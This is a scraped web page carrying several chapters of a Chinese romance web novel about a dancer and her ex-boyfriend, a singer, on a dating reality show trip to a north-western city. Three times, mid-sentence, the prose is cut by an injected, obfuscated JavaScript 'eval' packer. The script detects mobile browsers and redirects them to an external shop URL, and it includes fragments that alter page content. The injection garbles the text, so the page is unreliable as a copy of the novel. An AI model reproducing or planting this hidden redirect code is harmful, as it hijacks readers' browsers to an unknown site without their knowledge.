光线透过玻璃,在水中留下一道摇晃着的泛着涟漪的光纹。 身后有脚步不疾不徐地走来,时缈的思绪回归,转头看向来人的方向。 许钧闻睡前会放一杯温水在房间的习惯还是和她在一起之后才逐渐养成的。 很多个潮湿闷热的深夜里,时缈将被汗打湿的头发尽数撩起,整个人毫无形象可言地呈一个“大”字形摊开在床上,手腕垂在床沿边,强撑着精神等许钧闻给自己端水喝。 时缈不确定许钧闻现在还有没有这个习惯了,她只是想来赌一赌运气。 没想到。 还真让她赌对了。 “许钧闻。” 时缈起身太快,膝盖直直撞到了料理台的边角上。 尽管台面做了圆角处理,但毕竟是大理石的材质,这一撞,把时缈还没说出口的话全部撞了回去,只剩一口倒吸的凉气。 许钧闻的步伐一顿,目光落在时缈的膝盖上。 她的皮肤向来娇气,稍微有些磕磕碰碰就会留下好几天的青紫痕迹。但作为舞蹈生,即便再小心,练功时的磕碰摩擦又都是难免的。 “说话就说话,着什么急。我又不会不打招呼一声不吭就跑。”许钧闻走近,拉了个高脚椅坐在时缈对面。 “那个,我就是想说,今晚的事谢谢你啊,不会给你添麻烦吧。” “没什么麻烦的,换别人,我看不惯也还是会管的。再说了,你给我添过的麻烦也不差这一件。” 许钧闻探究的目光落在她脸上:“以前在酒吧里呛人的脾气呢?” 许钧闻说的是他们两个人的第一次见面。 时缈被室友们拉着一起参加“新生联谊”,她们舞蹈专业的同学一个二个不论是身材还是颜值放在当场都是相当吸睛的存在。 时缈从洗手间出来,就看见两个人高马大的男生围着她的一个室友,面色不善地不知道在说些什么,而她的室友委屈得耷拉着脑袋,从时缈的角度看过去,感觉下一秒她的室友就会当场哭出来似的。 本就喝了酒的时缈小跑着过去,将室友扯到自己身后,仰着脑袋瞪着眼睛:“干什么呢?几个大老爷们欺负一个小姑娘要不要脸啊?” 晃动着的迷蒙灯光时不时地从他们身上扫过,将时缈的半身笼罩在闪烁斑斓的光晕里,眼底映着光,脖颈纤细修长得仿佛轻易就能被人一手掌握,如瀑的长发披散下来,与她身上那条酒红色的裙子相互呼应,宛如夺魂摄魄的深海妖姬。 被指欺负小姑娘的大老爷们之一的许钧闻的许钧闻垂着眸子看着她,蓦得笑了起来。 许钧闻笑起来很好看,不同于那种阳光开朗的少年气,他笑起来时,身上的锐利锋芒毫不遮掩,眼底是带着些痞气的张扬。 黑色的T恤上印 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234850|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着简单的线条花纹,一条银色重工项链作为装饰,他的眸色很深,在昏暗的环境里仿佛一只紧盯着猎物随时可能一击毙命的猎豹。 远处蓝紫色的灯光转过来,时缈直直对上他那双漂亮潋滟的桃花眼。 看得时缈愣了一瞬。 原本满腔愤怒和勇气,在面前这个陌生男生的注视下,像是被扎了个小洞的气球,渐渐瘪了下去。 随之出现的,是愈演愈烈的心跳声,夹杂在喧嚣嘈杂的酒吧环境中,在时缈的耳中格外清晰。 “妹妹,你搞搞清楚,到底是谁欺负谁啊?” 许钧闻身旁的人被她的质问逗笑,指了指时缈身后的室友:“你室友,想要我哥们儿的电话,被拒绝之后,拦着人不让走,明明我们才是受害者好吧小妹妹?” “??” 时缈回头看向室友。 这才发现,室友的表情并非是被人欺负了之后的委屈和控诉,而是搭讪失败后的羞愤。 迎着许钧闻玩味的眼神,时缈有些慌乱,但又强撑着不想让对面这两个男生发现,嘴硬地强词夺理:“那,那又怎么了?她就是想搭个讪而已,你们吓唬她干什么?” “苍天作证,我们可没吓唬她!” “我看见你抬手了!说不定你是想推她或者揍她呢!” “喂喂喂妹妹,这样说话可就不讲到底了啊。”男生被时缈气笑,指了指她们身后的舞台,“马上到我们表演了,上台晚了可是要扣工资的,我只是想让你的朋友给我们让让路而已。虽然我看起来可能长得不像什么好人吧,但是也还不至于跟个小姑娘动手吧。” 好吧。 的确是她误会人家了。 时缈心虚地抬手揉了揉小巧的鼻尖,后知后觉的尴尬席卷了全身。 可这也不能怪她吧!这里可是酒吧,防人之心不可无,她担心万一真有猥琐男对她室友动手动脚也不是不合理吧! 被许钧闻一提醒,时缈也想起来了他们初遇时的情况。 那时候她是真的初生牛犊不怕虎,一个人就敢在酒吧里和两个陌生男性对呛。 现在想想,得亏是她运气好,碰上的是许钧闻他们。 如果真是来找茬的小流氓,她恐怕没有那么容易安全脱身。 “那时候年轻不懂事呗。” 时缈小声反驳。 “我听说你只签了两期的合同啊,”时缈不想再继续刚才那个话题,支着下巴,“行李什么的都收拾好了吗?” “怎么,这么期待我走啊?” 许钧闻却没有回答她的问题,反问她。 时缈瞥他一眼:“起码,我们不用提心吊胆藏着掖着了。” “提心吊胆藏着掖着的一直都是你,哪儿来的‘我们’。” 许钧闻哼笑:“我这个前男友就那么上不了台面拿不出手是吧?” “说这种话有什么意思吗许钧闻。” 时缈的火气忽然冒了上来。 她从始至终的想法也都是为了不要给许钧闻添麻烦,她见过许钧闻为了一手新歌废寝忘食昼夜颠倒的样子,也知道他在成名之前吃了多少苦,即便他们分手了,时缈也依然希望许钧闻好,因此她不想让许钧闻好不容易得到的声誉、荣耀因为她的出现而沾染上流言蜚语。 怎么到底许钧闻这里,就变成她不识好歹了呢? 时缈站起身,精致的小脸板着:“随便你吧大明星,反正该道的谢我也道过了,你自便,我上去休息了。” 转身离开的路被人拦住。 “时缈。” 许钧闻跟着她的动作起身,拦在她面前,挡住了她的去路,一只手撑在料理台上,一只手按着她的头顶:“刚才人家都快欺负到你脸上了你倒是一声不吭的,就会跟我发脾气是不是?” 时缈愣了一下。 “给那种人留着面子干什么?” 许钧闻揉了一把她的头发:“以后该发脾气的时候就发脾气,天塌下来我给你顶着。” 干什么啊这个人……他们两个现在什么关系啊要来给她顶着。 时缈抬眼看他。 迎着她的目光,许钧闻低笑一声:“别想太多啊,我这人就是比较善良。” “况且,别的地方暂且不说,就这个节目组里,能跟我拍桌子发脾气的人可就你一个,要是任哪个阿猫阿狗都能来欺负一下你,显得我的地位也太低了。” “所以,多出息啊,你现在可是站在节目组食物链顶端了,我的前女友。” 17. 17首情歌 舷窗外是厚重的云层,远处一线夕阳余晖穿破云层,在机身上镀下一片耀眼的灿金色。 随着飞机的飞行高度缓缓降低,不远处城市的轮廓也渐渐暴露在人们眼中。 那些平日里象征着资本和地位的万丈高楼,此刻看起来就像是商场中陈列展示的微观缩影,整整齐齐密密麻麻地挤在一方土地上。 “亲爱的旅客朋友,飞机前方即将抵达谷峪勒机场,下机时请携带好全部的随身物品,感谢您选择乘坐本公司航班,期待下次能有机会再次为您提供服务,祝您旅途愉快,再会。”[1] 节目组一行人从江城机场出发,加上中间转机换乘的等待,足足花了七个多小时才抵达谷峪勒[2]。 一出机场,众人就被狂风扑了个满面。 和江城的湿润温柔不同,这里的风都带着边塞特有的洒脱和豪放。 “早就想来这边旅游了,但工作太忙了一直没抽出空,这下也算是得偿所愿了。”温璐推了推鼻梁上的墨镜,“莫名有种公费旅游的感觉。” 确实。 路线和住宿节目组全部提前安排好了,怎么不算是一种公费旅行呢? “人齐了的话咱们就去停车场吧,节目组的大巴已经在等大家了。” 节目组的工作人员挂断电话,走到嘉宾们面前:“节目组的大巴已经在停车场等着了。” 说罢,工作人员率先朝着机场出口走去。 “走反……” “错了。” 时缈和许钧闻同时出声。 其余人停下脚步齐刷刷回头看他们。 时缈也看向许钧闻。 许钧闻一手推着自己的行李箱,另一只手指了指另一个方向的出口:“停车场走这边比较近。” “哦哦,瞧我这记性。”工作人员一拍脑门,“确实是走左边这个口要近一些。如果要真从右手边这个出口出去了,还得绕机场一大圈才能走到停车场入口。” 江城的机场左出口是用来等大巴和出租车的地方,右出口直通地上停车场。 而谷峪勒机场却有三个出口,正前方的出口已经有数辆等待拉客的出租车排起长队,而左右出口均有人鱼贯而出。但和江城相反的是,谷峪勒的地上停车场只有一个行人入口,如果走错了方向,乘客就得绕着机场外围一圈才能进入停车场。 “闻哥,你以前来过啊?” 一周的录制,青葭自认为已经和许钧闻混熟了,称呼上也从“许老师”“偶像”变成了更加亲近的“闻哥”。 她推着一个小箱子三步并做两步小跑到许钧闻身边,一边紧跟着他的步伐,一边有些好奇地左右打量着四周,随口问道:“是来这里开过演唱会吗?” “不是开演唱会。” 许钧闻迈着他的大长腿,根本没有慢下来等青葭跟上的意思,转头看向他们刚刚出来的方向,余光看见时缈拉着行李箱跟在斜后面:“是来这边旅游。” “那次旅行之后,就再也没来过这里了。” “时缈,你之前来过这儿啊?” 许钧闻的身后,温璐向时缈问了同一个问题。 “嗯。” 时缈点点头,浅笑:“西北旅游攻略里都会提到谷峪勒嘛,就趁着放假过来玩了几天。” 巧的是,自那次旅行过后,她也没有再踏足过这片土地。 没想到,第一次来这里的时候是和许钧闻。 再回到这里,同行的人里居然还有许钧闻。 * 虽然时缈好几年前和许钧闻一起来过这里,但随着城市现代化发展的步伐越来越快,谷峪勒现在的模样多少还是和她记忆中有了些许的变化。 “笃笃。” 有人敲响了房门。 “Hellohello美女姐姐们~” 探头的是节目组的一个实习生,平时负责跑跑腿打打杂之类的活计:“导演派我来给大家送点东西。” 时缈接过她手里的塑料袋,打开看见里面装着两只mini装的驱蚊喷雾,还有几盒驱蚊贴以及驱蚊手环。 “据说这边的蚊子又多又毒,许老师特地让助理准备了防蚊用品发给大家,每人都有哦。”小姑娘抬起手腕转了转,微微的清凉薄荷味在她们之间弥散开来。 “谢谢,也替我们谢谢许老师。” 时缈收下塑料袋,目送实习生转身去敲对面房门后才轻轻关上门。 “哇,那位看起来是个什么都不放在心上的酷哥,没想到还这么细心,”温璐感慨,“你别说,都说一起旅行是最能够检验情侣是否合适的手段,也不知道当许钧闻的女朋友是一种什么样的体验哦?” “……” 时缈收拾衣服的手一顿。 这可算是问对人了。 恐怕没有人比她更知道当许钧闻的女朋友是种什么样的体验了。 * 来谷峪勒旅行是许钧闻主动提出来的。 他知道时缈在社交软件上收藏了好多西北旅行攻略分享,也知道她其实蛮想趁着假期出来旅游,只是不好意思主动开口和他提起—— 买下许钧闻第一首曲子的公司发现了他的才华,主动联系他,向他再约一首歌,只不过,这次的曲风要按照公司提供的要求进行创作。 那段日子,许钧闻又要应付期末考试,又要去酒吧唱歌,还要抽出空给公司写歌,整个人忙碌又紧绷,时缈看在眼里,心疼不已,但她又无法在音乐领域帮上什么忙,只好尽量不用其他事打扰许钧闻。 但正如温璐所说,许钧闻看上去是个什么都不在乎的主,实际上却是个外冷内热的家伙。 于是在某天,许钧闻结束了酒吧驻唱,两个人手牵手散步回到出租屋,许钧闻掏出手机递给时缈。 “??” 时缈不明所以地接过。 屏幕上是两张飞往谷峪勒的机票。 “你什么时候买的!”时缈惊喜不已,看向许钧闻的眼睛亮晶晶的,“而且你怎么会知道我想去这里玩儿的啊?” 许钧闻揉了一把她的头发:“你还能有事儿瞒得住我?” “那你的工作都安排好了吗?”时缈眨眨眼,“我可不想耽误你的正事。” “什么叫‘正事’?” 许钧闻低头去亲吻她:“你在我这儿才是最‘正’的事。” 于是两人在学校正式放假后就出发去旅游了。 每年的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13255335|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暑假都是旅游业最火热的时期,谷峪勒作为西北最有名的旅游城市,自然少不了前来打卡的内地游客。 出发前时缈还有些担心——毕竟网上的贴子里都说,一起旅行是最能考验情侣之间是否适配的手段,甚至有不少博主“现身说法”,表示自己和对象就是在旅行结束后原地分手的。 但很快,时缈就发现,自己的担心完全就是多余的。 只是去夜市转了一圈,时缈的腿上就被咬出了一串蚊子包。 她的皮肤本就脆弱,谷峪勒的蚊子又格外得毒,以至于那串蚊子包在她的腿上看起来格外可怖,又红又肿。 “别挠。” 许钧闻一手握着她的脚踝,蹲在床边给她涂刚买回来的消肿止痒凝露。 “咬成这样了都不吭气,出息了啊时缈。” 许钧闻被她气笑。 夜市上人又多又挤,他的大部分注意力都放在了“不要和时缈走散”这件事上,回到酒店房间,许钧闻稍一低头,才看见时缈被蚊子咬得可以说是“惨不忍睹”的小腿上。 许钧闻将她推进浴室,让她先洗澡,乖乖在房间等着,自己跑去最近的药店买了一堆包括但不限于驱蚊、消肿、止痒各种功效的喷雾和凝胶回来。 时缈吐了吐舌头:“当时没注意嘛。” “是,”许钧闻哼笑一声,捏了捏她的踝骨,以示不满,“光注意吃的了是吧?” 时缈的目光飘到了床边小桌上他们买了一路的各式美食,有些心虚地揉了揉鼻子。 烧烤、炸鸡、炒面……一路上她看什么都想吃,许钧闻也由着她,指哪儿买哪儿,但最终买回来的东西时缈每样都只吃了几口,剩下的,理所当然地全都“留”给了许钧闻。 “吃多了要胖嘛,开学第一节课我们要上称的。” 时缈给自己找了个绝佳的借口。 “眼大肚皮小。” 许钧闻总结。 “换腿。” 时缈乖乖地抬起另一条腿,踩在许钧闻的膝盖上,垂着眸子安静认真地看着他给自己上药。 由于低着头,许钧闻额前的碎发垂下来遮住了眉眼,让时缈看不清他的眼神。 平日里桀骜不驯的人,此刻单膝跪地,任由她踩着自己的膝盖。因为长期弹琴而生出了薄茧的指腹,沾着浅浅的绿色的凝露药膏涂抹在她红肿的蚊子包上。 按道理来说,红肿的皮肤在涂药之后应该清凉下来才对。 可偏偏时缈却觉得,那块皮肤莫名变得更热了。 心下一片柔软。 时缈忍不住伸手揉了揉许钧闻的头发。 真有意思。 明明棱角分明的一个人,发质却柔软顺滑,和他平时给人的印象一点都不一样。 许钧闻的指尖顿了顿,抬头,一双潋滟的桃花眼里蕴着暧昧的调笑。 “没听说过一句话吗?” “成年男人的脑袋只有老婆才能摸。” “那,那怎么了,”时缈迎着他的目光,嘴硬,“你就说我能不能摸吧。” “能,怎么不能啊。” 许钧闻的声音莫名带着点低哑和蛊惑:“除了脑袋你还想摸哪儿?别客气,继续。” 18. 18首情歌 “欢迎大家来到我们美丽的谷峪勒。” “‘谷峪勒’这个名字音译于当地少数民族语言,意思是‘掌上明珠’,接下来咱们《适合恋爱的夏天》的所有嘉宾将会在这里一起度过一周的时间,希望大家玩得愉快的同时,能够在这里和自己喜欢的人一起创造出新的美好回忆哦~” 祝意安语气轻快地念出了节目组留下的卡片上的内容: “本次旅行的第一站,是谷峪勒著名景点——绥夷古城,素人嘉宾们根据抽签结果两两组队,前往绥夷古城拍摄具有地域风情的情侣艺术照。四组艺术照将根据节目组现场随机邀请的五十名游客投票结果排名,第一名的嘉宾将在下次约会时拥有特权,投票第四名的小组将负责安排今天的晚餐。 “观察团的四名成员分别是四个小组的‘艺术指导’,获得第一名小组的艺术指导将获得节目组提供的神秘道具。排名最末的小组的艺术指导将和本小组的嘉宾一起负责今天的晚餐。” 「好好好,燃起来了」 「我就在谷峪勒!我要出去偶遇节目组了!是不是就有机会去给他们投票了!」 「我也在!我也要去!前面的姐妹我私你咱们一起啊!」 「这破天的富贵终于轮到我们大西北的兄弟姐妹了哈哈哈哈哈」 “那咱们现在就先抽签分组,然后再去绥夷古城吧。” 青葭拿起小桌上的信封,从里面摸出一沓卡片,恰好十二张,正面分别写着数字“1”“2”“3”“4”。 每种数字的卡片各有三张,而相同数字的卡片背后分别是红、黄、蓝颜色的卡背。 “女生抽红色牌,男生抽蓝色,观察团嘉宾抽黄色,抽到相同数字的人是一组,”程子归问道,“大家觉得这样可以吗?” 在场所有人均无异议。 于是青葭将手里的牌洗了几轮,一字铺开在红木桌面上。 时缈伸手随便摸了一张。 她拿到的是3号卡牌。 “姐姐,你多少?”周璨看完自己手里的牌后第一个询问她。 时缈将自己手里的卡牌翻转过来展示给他。 “哇!太好了!那我们两个今天是一组哦!”周璨将自己手里同样写着“3”的蓝色卡片挥了挥,放在桌面上,眯着眼睛笑得见牙不见眼。 “我一定会加油的。” “我也一定会加油的。” 程子归将自己手里的牌放在周璨的卡片旁边:“今天还请两位多多指教咯。” 最终抽签结果为—— 1组:朱蕴、薛明浩、祝意安。 2组:温璐、林问、青葭。 3组:时缈、周璨、程子归。 4组:罗艺亭、白景川、许钧闻。 对这个抽签结果最满意的就是罗艺亭了。 “好巧啊景川哥,”罗艺亭的目光朝时缈的方向瞟了一眼,抬手拢了一下自己下楼前特地精心打理过的长发,“第一次约会盲选的时候我也选到了你,这一次抽签又是咱们两个人在一起,这算不算是有缘分呢?” 而在她看见许钧闻将自己面前的牌翻开后,整个人的眼睛更是亮了一下:“闻哥,你和我们是一组的哎!” 许钧闻扫了一眼桌上的牌面,“嗯”了一声作为回应,目光却落在了白景川的身上,勾了勾唇角。 他倾身,手臂随意撑在膝盖上,袖口处露出一截手腕:“合作愉快啊。” 「我怎么觉得许哥的胜负欲突然上来了hhhh」 「就没有人觉得许钧闻和白景川之间的气氛怪怪的嘛?我总觉得许钧闻看白景川的眼神有点……不明不白的?」 「呃呃呃,前面的,这是个恋综,可以嗑cp,但不要太邪门:)」 * 既然是要拍摄具有地域风情的情侣照,首先要做的准备自然是找到合适的、具有谷峪勒当地特色的服饰。 节目组提前联系好了一家,据说在谷峪勒已经有超过五十年历史的老照相馆,来为大家提供妆造和拍摄所需要的道具和设备。 只是听见节目组的介绍,时缈就有一种不祥的预感…… 大家乘坐大巴一起来到目的地照相馆,时缈心头的预感终于得到了印证。 当年她和许钧闻一起来这里的时候,就在这家照相馆拍过一组民族风情侣写真。 此刻故地重游,时缈心里不但没有怀念,反而充满了担忧和紧张—— 这个照相馆实际上是一个两进的小院,前面是营业场地,后面则是老板一家的房子。近几年,小院经过了重新翻修,装饰和布局都和时缈记忆中的有所不同,走进照相馆的小院,映入眼帘的是一面满满当当展示着照片的土墙。 「别说,拍得还真不错,服装什么的看起来也挺用心的哎。」 「这家店我去旅游的时候见过!很火!拍得也很好!而且不搞那些虚头巴脑的骚操作,预约好时间去了就是咔咔一顿拍,也没有额外收费,超级无敌划算!」 「作为本地人,出来证实一下,这间店真的开了好多年了,老板是祖孙三代,除了旅客照之外,平时其他风格的照片也能拍,我的好几个阶段的证件照都是在这里拍的,技术和质量都很有保证。」 「羡慕了,我到现在都没找到一家靠谱的一寸照拍得好看的照相馆,每次拍一寸照感觉都是在开盲盒……」 所有人都被这面墙吸引了目光,一时间也不急着进门了,反而是站在照片墙前津津有味地看了起来。 时缈走在最后,思绪飘忽起来。 “哎!你们快来看啊,看这张照片是谁?” “我去,真的假的。” 站在最前面的几个人七嘴八舌的议论起来。 “时缈,快来看!这个照片上的人是不是你?” 朱蕴也凑了过去,在认出照片上的主人公之后,转头朝慢吞吞走在后面的时缈招招手。 “什么?” 时缈还有些发懵,顺着声音走到最前面。 一抬头,发现自己近八年前的照片被店家作为样片,洗成拍立得的大小,用一颗大头钉钉在了这面照片墙上。 “这么长时间了,你的照片居然还挂在这里。” “拍得很好看哎,时缈,这是哪年拍的啊?你这张照片也太好看了吧!简直是‘人生照片’了!” 照片中她穿着一条明艳张扬的石榴红色长裙,精致的五官在颇具西域特色的配饰地衬托下更显风情,编成几根细麻花辫的长发垂下来,随着她提起裙摆翩翩起舞的动作在半空中划出美好的弧度。 那时候的她比现在无忧无虑得多,脸上尽是明媚阳光的笑意,举手投足之间都散发着朝气和自信。 望着这张照片,她仿佛在和当年那个正陷入热恋当中的自己隔着漫漫时光对视。 时缈愣在原地,一时间没有来得及去听其他人在和自己说些什么。 当年出国的时候,除了必要的行李之外,时缈再三犹豫,还是将这张照片放在了随身的小包里,一起带去了英国。 很多个漂泊在外的清晨和深夜,它都静静地陪伴着她,是她人生中最真诚的老友。 她既希望看到这张照片,又害怕拿出这张照片。 这照片就像是一个锚点,能够轻易地打开她关于许钧闻的所有回忆,而那些回忆,既是支撑她度过每一个黑夜的动力,又是提醒她时过境迁往昔不复存在的物证。 时缈下意识回头想去看看许钧闻,看看他看见这张照片之后的反应。 但随着转头的动作,视野里出现了节目组嘉宾们的脸,时缈回过神,打消了自己刚才的想法。 「姐姐好美!」 「这就是舞蹈从业者的气质嘛!这哪里是游客照,说是专业模特拍出来的样片我都信!」 「我要有这张脸我真的做梦都会笑醒的……」 就在弹幕上正热火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272946|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝天的讨论着时缈的颜值时,一道女声忽然出现: “这儿,你们快来看!” 罗艺亭指着一张照片,惊叫着招呼所有人,示意大家去看她指着的那张照片:“看我还发现了什么!” 虽然有人帮她吸引走了众人的目光和火力,但时缈现在一听见这种“瞧瞧这里有惊喜”的语气就下意识地紧张起来—— 既然她的照片被挂在这里,那许钧闻的照片以及他们两人当年的合影该不会……? “看!这是不是胡霏啊!就是那个之前演了个古装剧女一号的那个女演员,我好喜欢她的!” “哎?好像还真是。” “你不说我差点没认出来。” “哈哈,我要拍个照给霏霏看一下,居然用这种方式碰见我的小姐妹了~” 原来不是许钧闻。 幸好不是许钧闻。 时缈稍稍松了口气。 如果许钧闻的照片以及两人当年的合照也被曝光,后果她简直不敢想象。 趁着所有人的注意力都被其他艺人的照片吸引走,时缈的视线这才敢去找许钧闻的身影。 而她看见他的同时。 许钧闻也望向她。 两人的目光在半空中短短交汇几秒,时缈便率先挪开了目光。 但她的脑海里还是忍不住回放刚才和许钧闻对视那一刻的画面—— 她总觉得,许钧闻刚才的那个眼神里,有些她看不大明白的意味深长。 * “欢迎大家来到谷峪勒、来到绥夷古城,我是这家照相馆现在的老板。” 房间里走出来一个姑娘,看起来二十岁出头的样子,穿着一身水蓝色民族服饰,长长的头发编成辫子,用两个发带挽起来。 她刚才在后面听见了这些嘉宾的惊呼和讨论,自然也知道这里有人曾经是她的照相馆的主顾,于是老板的视线在时缈身上多停留了一会儿,朝时缈露出一个灿烂的笑容。 时缈也朝老板微微点头。 当年她和许钧闻来这里旅行拍照的时候,这家店的老板还是一个和蔼憨厚的高个中年男人,眉眼和面前的姑娘有七分相像。 时缈猜测,这大概是之前老板的女儿。 果不其然,随即她就听见老板继续说道: “这家照相馆是我的爷爷开的,那时候,我们家的这个照相馆是谷峪勒唯一的照相馆,周围村子里的人都会来我们这里照相。爷爷老了之后,照相馆就交给了我的爸爸,现在,这家照相馆又交到了我手上。” 据她介绍,上一任老板,也就是她的父亲,三年前因病去世了。 “但每当我拿起相机的时候,我都感觉爸爸还陪在我的身边。” 虽然是个有些伤感的故事,但老板并没有刻意卖惨,只是想把自家照相馆的这段历史当成一个故事,分享给在场的人而已。 她说普通话时带着些西北独特的口音,但并不妨碍沟通: “我们家人一直都相信,每张照片都是有灵魂的,它定格着每个人人生中最美好的时光和最强烈的愿望。所以每次给客人们拍完照片,我的爷爷和爸爸都会留下一份,保存在照相馆的相集中,每逢我们当地的传统节日,就会借着节日祝祷,为每一个光顾过我们照相馆的客人们祈祷,祝愿大家心想事成、幸福美满。” 所有人都沉浸在她娓娓道来的讲述中。 “在爸爸走后,我决定将这些照片做成大家现在看到的这面照片墙。一方面是展示我们的工作成果,另一方面,我很相信‘缘分’和‘命运’,如果有朝一日,我们当年的顾客故地重游,回到这里,找到自己曾经的照片,我会把照片还给他们,把曾经寄托在照片上的祝福也一并传递给他们。” 照相馆老板走到照片墙前,将时缈的照片取下来,转身将它放在时缈的手心,笑容诚挚又朴实: “这位漂亮的姐姐,祝你梦想成真,平安喜乐。” 19. 19首情歌 “来,看镜头,对,很好!” “时缈,再给点状态,不错不错,保持住!” 时缈站在绥夷古城的城墙旧址台阶上,听从程子归的指令摆好姿势。 她今天选了一套湖水蓝色的长裙,照相馆的化妆师小姐姐特意在她眉心中间画了一枚嫣红的图案,具她介绍,那个图案在她们民族的文化里,象征着平安和健康。 身后天空湛蓝,万里无云,高悬天际的艳阳为她周身镀上一层夺目的金边,仿佛真的是千百年前的古城神女从天而降,为这个被战争和饥饿所困扰着的西域村庄带来了全新的希望。 美得令她的搭档周璨回不过神来。 “小周,愣着干嘛,来,想想最近最开心的事情,笑笑笑,笑起来。” 程子归举着相机朝他们这边大声说道。 “哦哦,好,”周璨回神,忙不迭地点头应声,“抱歉抱歉。” 终于,在时缈感觉自己都快被身后的太阳烘干成雕塑的时候,他们这组的艺术指导终于满意地拍拍手: “好,咱们先拍到这里,先休息一下啊,等会儿咱们再换个背景再拍几组。” “天呐。” 终于得到“赦免”的周璨随意拢了拢衣服下摆,坐到了时缈身边,用手扇风:“从来没觉得拍照是这么让人痛苦的一件事。” “姐姐,你以前来这里的时候也是这样拍的吗?” 时缈摇头:“那倒没有,那时候单纯就是游客照嘛,没有什么胜负比赛一说,玩得开心拍得开心就好了,而且你们刚才看到的那张照片,其实是摄影大哥的随手抓拍,我们都没想到会拍出那么好的效果。” 虽然她的专业方向是古典舞,但简单的民族舞动作对一个接受过专业学习的舞者来说也同样是信手拈来。 第一次穿上精美的民族风服饰,站在充满异域气息的古城里,时缈既新奇又兴奋,随意自由发挥了几个动作,摄影师一看,急忙举起相机“咔咔咔”连拍了好多张。 最终在一堆拍糊和重影的相片里,发现了那堪称完美的一张。 时至今日,就算重新回到当时的地点,穿上当年的服装,时缈认为自己恐怕也拍不出来那样纯粹的快乐的照片了。 或许就像照相馆老板一家坚信的那样,每一张照片都拥有最独一无二的灵魂。 时缈抬眼,眺望古城的景色。 从他们现在这个位置,轻而易举能将整个古城的模样尽收眼底。 什么叫物是人非? 就是古城仍然是当年的古城,千百年来一直在这里从未变过,可它见证过的故事却随着时间的流逝渐渐被塞外的风沙淹没。 * 节目组给的艺术照拍摄时限是三个小时。 但由于程子归在第二次约会后,预测对了所有素人嘉宾的心动短信收发情况,于是获得了一张来自节目组的特权道具: 【将某一对嘉宾的约会时长增加半小时。】 之前预测短信的时候,可能会同时出现好几位赢家。 但这次的艺术照拍摄任务,观察团的成员分别加入四个约会小组,就意味着这场约会结束后,他们四个人里只有一个人能获得新的道具卡。 大概是男人天生的胜负欲作祟。 程子归毫不犹豫地将加时卡用在了这次约会中。 蹲守在时缈这组直播间中的观众们乐不可支: 「我怎么记得上一个约会日,程子归还是他最嗑的是时缈和白景川来着?哥,你还记得大明湖畔你的“霸王餐”cp嘛!」 「程子归:勿cue,就是要赢!」 「程子归:愚蠢的人类们,你们都不懂我,我是为了赢下这个道具,将来助攻我cp啊!」 于是时缈再次成为最后一组结束约会回到照相馆的女嘉宾。 “终于回来啦。” 已经换下民族服饰的罗艺亭端着杯茶水倚在门边,正在和林问说话。 见时缈这组姗姗来迟,她原本还想要说些什么,又下意识地偷看了一眼坐在一旁树荫下阖着眼似乎是在打盹的许钧闻,而后什么也没说,转头继续和林问说小话去了。 “别的不说,光你穿上这身衣服就赢了一大半了。” 温璐绕着时缈转了一圈,感叹道。 “累吗?喝点茶,那边阴凉处有位置,先去休息一下吧。” 白景川走过来,递给时缈一杯茶,而后笑着称赞她:“很漂亮,也很适合你。” “展开说说啊,说说哪儿适合?” 温璐笑吟吟地给白景川递话,摆明了是在给他打助攻。 “这个配色很温柔,很衬她的气质,不是吗?” “嗯嗯,白哥说得对。” 两人一唱一和的。 温柔。 许钧闻睁开眼,隔着不远不近的距离望着时缈的身影,搭在木头椅子扶手上的手指有一搭没一搭地敲着,发出轻微的,只有他一个人能听见的声响。 在他印象里,时缈这个人,骨子里和“温柔”这两个字其实很难搭上边。 大部分时候她所表现出的那种温吞好说话只是因为她懒得花精力去计较,若真遇上她看不惯的事情,就算是把天戳破个口子她也是要跳起来去辩一辩的。 或许有些人会把这样的性格称为“莽撞”“毛躁”“不计后果”,可在他看来,这又何尝不是一种勇气。 这种勇气让他在第一次见面的时候就忍不住将目光停留在她身上,即使那天环境嘈杂,他却还是听见了自己那一刻忽然有些失衡的心跳声。 “你到底是什么时候喜欢上我的?” 时缈曾经不止一次问过这个问题,即使身处弱势,她也还要仰着头,执着地等一个答案。 而许钧闻单手圈住她的两只手腕,轻而易举地将它们压在她的头顶上方,俯身啄吻她:“我说过了,我对你一见钟情。” 可那颗初见时就吸引着他目光的宝石,似乎在他不知道的时候,悄然黯淡了。 许钧闻看得出来,时缈现在就像是把自己包在一个半透明的茧里,看似阳光大方地把自己展示出来,却又把真实想法藏在茧的最深处。 他不知道发生了什么。 可她既然当初那么坚定地离开他。 至少要让他看见,离开他之后她应该过得更好才对。 